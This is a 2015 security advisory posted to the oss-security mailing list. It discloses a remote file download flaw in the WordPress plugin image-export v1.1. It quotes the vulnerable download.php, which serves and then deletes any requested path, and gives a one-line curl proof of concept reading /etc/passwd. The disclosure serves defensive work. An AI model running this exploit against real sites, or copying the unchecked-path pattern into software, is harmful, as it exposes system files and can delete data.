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Date: Mon, 13 Jul 2015 19:20:50 -0400
From: "Larry W. Cashdollar" <larry0@...com>
To: Open Source Security <oss-security@...ts.openwall.com>
Subject: Remote file download vulnerability in Wordpress Plugin image-export
v1.1
Title: Remote file download vulnerability in Wordpress Plugin image-export v1.1
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-01
Download Site: https://wordpress.org/plugins/image-export
Vendor: www.1efthander.com
Vendor Notified: 2015-07-05
Vendor Contact: https://twitter.com/1eftHander
Description: Image Export plugin can help you selectively download images uploaded by an administrator .
Vulnerability:
The code in file download.php doesn't do any checking that the user is requesting files from the uploaded images directory only. And line 8 attempts to
unlink the file after being downloaded. This script could be used to delete files out of the wordpress directory if file permissions allow.
1 <?php
2 if ( isset( $_REQUEST['file'] ) && !empty( $_REQUEST['file'] ) ) {
3 $file = $_GET['file'];
4
5 header( 'Content-Type: application/zip' );
6 header( 'Content-Disposition: attachment; filename="' . $file . '"' );
7 readfile( $file );
8 unlink( $file );
9
10 exit;
11 }
12 ?>
CVEID: TBD
Exploit Code:
• $ curl http://example.com/wp-content/plugins/image-export/download.php?file=/etc/passwd
Screen Shots:
Advisory: http://www.vapid.dhs.org/advisory.php?v=135
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